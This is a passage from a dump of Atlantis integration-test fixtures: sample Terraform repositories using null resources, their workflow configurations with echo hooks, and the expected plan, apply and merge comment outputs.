    "path": "server/controllers/events/testdata/test-repos/repo-config-file/exp-output-apply.txt",
    "content": "Ran Apply for 2 projects:\n\n1. dir: `infrastructure/production` workspace: `default`\n1. dir: `infrastructure/staging` workspace: `default`\n---\n\n### 1. dir: `infrastructure/production` workspace: `default`\n```diff\nnull_resource.production[0]: Creating...\nnull_resource.production[0]: Creation complete after *s [id=*******************]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n```\n\n---\n### 2. dir: `infrastructure/staging` workspace: `default`\n```diff\nnull_resource.staging[0]: Creating...\nnull_resource.staging[0]: Creation complete after *s [id=*******************]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n```\n\n---\n### Apply Summary\n\n2 projects, 2 successful, 0 failed, 0 errored"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/repo-config-file/exp-output-autoplan.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `infrastructure/staging` workspace: `default`\n1. dir: `infrastructure/production` workspace: `default`\n---\n\n### 1. dir: `infrastructure/staging` workspace: `default`\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.staging[0] will be created\n+ resource \"null_resource\" \"staging\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d infrastructure/staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d infrastructure/staging\n  ```\n\n---\n### 2. dir: `infrastructure/production` workspace: `default`\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.production[0] will be created\n+ resource \"null_resource\" \"production\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d infrastructure/production\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d infrastructure/production\n  ```\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/repo-config-file/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `infrastructure/production` workspace: `default`\n- dir: `infrastructure/staging` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/custom-name-atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: infrastructure/staging\n- dir: infrastructure/production\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/production/main.tf",
    "content": "resource \"null_resource\" \"production\" {\n  count = \"1\"\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/production/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/staging/main.tf",
    "content": "resource \"null_resource\" \"staging\" {\n  count = \"1\"\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/repo-config-file/infrastructure/staging/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/server-side-cfg/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n- dir: .\n  workspace: staging\n  workflow: staging\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-apply-default-workspace.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-apply-staging-workspace.txt",
    "content": "Ran Apply for dir: `.` workspace: `staging`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"staging\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-autoplan.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `.` workspace: `default`\n1. dir: `.` workspace: `staging`\n---\n\n### 1. dir: `.` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\npreinit custom\n\n\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n\npostplan custom\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### 2. dir: `.` workspace: `staging`\n<details><summary>Show Output</summary>\n\n```diff\npreinit staging\n\n\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"staging\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -w staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -w staging\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/server-side-cfg/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspaces: `default`, `staging`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/server-side-cfg/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/server-side-cfg/repos.yaml",
    "content": "repos:\n- id: /.*/\n  pre_workflow_hooks:\n    - run: echo \"hello\"\n  workflow: custom\n  post_workflow_hooks:\n    - run: echo \"hello\"\n  allowed_overrides: [workflow]\nworkflows:\n  custom:\n    plan:\n      steps:\n        - run: echo preinit custom\n        - init\n        - plan\n        - run: echo postplan custom\n  staging:\n    plan:\n      steps:\n        - run: echo preinit staging\n        - init\n        - plan\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/server-side-cfg/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-allow-command-unknown-import.txt",
    "content": "```\nError: unknown command \"import\".\nRun 'atlantis --help' for usage.\nAvailable commands(--allow-commands): plan, apply\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-all.txt",
    "content": "Ran Apply for 2 projects:\n\n1. dir: `.` workspace: `default`\n1. dir: `.` workspace: `new_workspace`\n---\n\n### 1. dir: `.` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 3 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"default_workspace\"\nworkspace = \"default\"\n```\n\n</details>\n\n---\n### 2. dir: `.` workspace: `new_workspace`\n<details><summary>Show Output</summary>\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 3 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"new_workspace\"\nworkspace = \"new_workspace\"\n```\n\n</details>\n\n---\n### Apply Summary\n\n2 projects, 2 successful, 0 failed, 0 errored"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-default-workspace.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 3 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"default_workspace\"\nworkspace = \"default\"\n```\n\n</details>"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-new-workspace.txt",
    "content": "Ran Apply for dir: `.` workspace: `new_workspace`\n\n<details><summary>Show Output</summary>\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 3 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"new_workspace\"\nworkspace = \"new_workspace\"\n```\n\n</details>"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-apply-var.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 3 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"overridden\"\nworkspace = \"default\"\n```\n\n</details>"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-apply.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 3 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"default\"\nworkspace = \"default\"\n```\n\n</details>"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan-new-workspace.txt",
    "content": "Ran Plan for dir: `.` workspace: `new_workspace`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple2 will be created\n+ resource \"null_resource\" \"simple2\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple3 will be created\n+ resource \"null_resource\" \"simple3\" {\n      + id = (known after apply)\n    }\n\nPlan: 3 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"new_workspace\"\n+ workspace = \"new_workspace\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -w new_workspace\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -w new_workspace -- -var var=new_workspace\n  ```\nPlan: 3 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan-var-overridden.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple2 will be created\n+ resource \"null_resource\" \"simple2\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple3 will be created\n+ resource \"null_resource\" \"simple3\" {\n      + id = (known after apply)\n    }\n\nPlan: 3 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"overridden\"\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d . -- -var var=overridden\n  ```\nPlan: 3 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple2 will be created\n+ resource \"null_resource\" \"simple2\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple3 will be created\n+ resource \"null_resource\" \"simple3\" {\n      + id = (known after apply)\n    }\n\nPlan: 3 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"default_workspace\"\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d . -- -var var=default_workspace\n  ```\nPlan: 3 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n```diff\n\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple2 will be created\n+ resource \"null_resource\" \"simple2\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple3 will be created\n+ resource \"null_resource\" \"simple3\" {\n      + id = (known after apply)\n    }\n\nPlan: 3 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"default\"\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 3 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-merge-workspaces.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspaces: `default`, `new_workspace`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\nresource \"null_resource\" \"simple2\" {}\nresource \"null_resource\" \"simple3\" {}\n\nvariable \"var\" {\n  default = \"default\"\n}\n\noutput \"var\" {\n  value = var.var\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-with-lockfile/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple2 will be created\n+ resource \"null_resource\" \"simple2\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple3 will be created\n+ resource \"null_resource\" \"simple3\" {\n      + id = (known after apply)\n    }\n\nPlan: 3 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"default\"\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 3 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-with-lockfile/exp-output-plan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple2 will be created\n+ resource \"null_resource\" \"simple2\" {\n      + id = (known after apply)\n    }\n\n  # null_resource.simple3 will be created\n+ resource \"null_resource\" \"simple3\" {\n      + id = (known after apply)\n    }\n\nPlan: 3 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"default\"\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 3 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-with-lockfile/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\nresource \"null_resource\" \"simple2\" {}\nresource \"null_resource\" \"simple3\" {}\n\nvariable \"var\" {\n  default = \"default\"\n}\n\noutput \"var\" {\n  value = var.var\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-with-lockfile/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n  workflow: default\n- dir: .\n  workspace: staging\n  workflow: staging\nworkflows:\n  default:\n    # Only specify plan so should use default apply workflow.\n    plan:\n      steps:\n      - run: echo preinit\n      - init\n      - plan:\n          extra_args: [-var, var=fromconfig]\n      - run: echo postplan\n  staging:\n    plan:\n      steps:\n      - init\n      - plan:\n          extra_args: [-var-file, staging.tfvars]\n    apply:\n      steps:\n      - run: echo preapply\n      - apply\n      - run: echo postapply\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/exp-output-allow-command-unknown-apply.txt",
    "content": "```\nError: unknown command \"apply\".\nRun 'atlantis --help' for usage.\nAvailable commands(--allow-commands): plan\n```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-all.txt",
    "content": "Ran Apply for 2 projects:\n\n1. dir: `.` workspace: `default`\n1. dir: `.` workspace: `staging`\n---\n\n### 1. dir: `.` workspace: `default`\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"fromconfig\"\nworkspace = \"default\"\n```\n\n---\n### 2. dir: `.` workspace: `staging`\n<details><summary>Show Output</summary>\n\n```diff\npreapply\n\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"fromfile\"\nworkspace = \"staging\"\n\npostapply\n```\n\n</details>\n\n---\n### Apply Summary\n\n2 projects, 2 successful, 0 failed, 0 errored"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-default.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"fromconfig\"\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-locked.txt",
    "content": "**Error:** Running `atlantis apply` is disabled.\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-staging.txt",
    "content": "Ran Apply for dir: `.` workspace: `staging`\n\n<details><summary>Show Output</summary>\n\n```diff\npreapply\n\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"fromfile\"\nworkspace = \"staging\"\n\npostapply\n```\n\n</details>"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/exp-output-autoplan.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `.` workspace: `default`\n1. dir: `.` workspace: `staging`\n---\n\n### 1. dir: `.` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\npreinit\n\n\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"fromconfig\"\n+ workspace = \"default\"\n\npostplan\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### 2. dir: `.` workspace: `staging`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"fromfile\"\n+ workspace = \"staging\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -w staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -w staging\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspaces: `default`, `staging`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/exp-output-plan-default.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\npreinit\n\n\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"fromconfig\"\n+ workspace = \"default\"\n\npostplan\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/exp-output-plan-staging.txt",
    "content": "Ran Plan for dir: `.` workspace: `staging`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"fromfile\"\n+ workspace = \"staging\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -w staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -w staging\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = \"1\"\n}\n\nvariable \"var\" {\n  default = \"default\"\n}\n\noutput \"var\" {\n  value = var.var\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/staging.tfvars",
    "content": "var= \"fromfile\""
  },
  {
    "path": "server/controllers/events/testdata/test-repos/simple-yaml/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
